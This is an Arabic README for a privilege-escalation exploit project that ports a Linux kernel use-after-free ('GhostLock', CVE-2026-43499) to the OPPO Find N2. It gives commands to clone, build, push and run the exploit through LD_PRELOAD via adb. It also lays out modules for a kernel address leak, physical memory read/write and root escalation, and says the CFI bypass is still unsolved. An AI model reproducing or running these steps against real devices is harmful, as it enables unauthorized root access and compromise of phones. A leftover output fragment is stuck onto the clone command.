
OPPO Find N2 GhostLock (CVE-2026-43499) تكييف استغلال
GhostLock CVE-2026-43499 — بحث رفع الصلاحيات في نواة Linux على OPPO Find N2
GhostLock (CVE-2026-43499) هو ثغرة UAF في مكدس النواة تؤثر على Linux من الإصدار 2.6.39 حتى 7.1-rc1، ويتم تفعيلها عبر حالة تسابق في FUTEX_CMP_REQUEUE_PI. يقوم هذا المشروع بتكييف exploit الخاص بـ NebuSec/CyberMeowfia لمعمارية x86_64 ليعمل على OPPO Find N2 (ARM64، نواة 5.10.236).
قيد التطوير التكراري — تم التحقق من نجاح عدة مراحل من الاستغلال، لكن نقطة الانسداد الأساسية (تجاوز CFI / بدائية الكتابة في النواة) لم يتم اختراقها بعد.
FUTEX_CMP_REQUEUE_PI ret=0git clone https://github.com/pubglite55/oppofindN2-ghostlock.git
cd oppofindN2-ghostlock
export NDK=/usr/local/Caskroom/android-ndk/29/AndroidNDK14206865.app/Contents/NDK
cd exploit/
make clean && make NDK=$NDK
adb push preload.so /data/local/tmp/
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/ls /dev/null' 2>&1
oppofindN2-ghostlock/
├── exploit/
│ ├── src/
│ │ ├── main.c # نقطة الدخول الرئيسية، تفعيل GhostLock
│ │ ├── fops.c # pselect fake lock + تسريب قاعدة النواة
│ │ ├── pipe.c # القراءة والكتابة الفيزيائية عبر pipe
│ │ ├── root.c # رفع الصلاحيات إلى root
│ │ ├── util.c # دوال مساعدة
│ │ └── kernelsnitch/ # تسريب mm_struct
│ ├── targets/ # تعريفات إزاحات الجهاز
│ └── Makefile
└── README.md
يستخدم هذا المشروع رخصة MIT.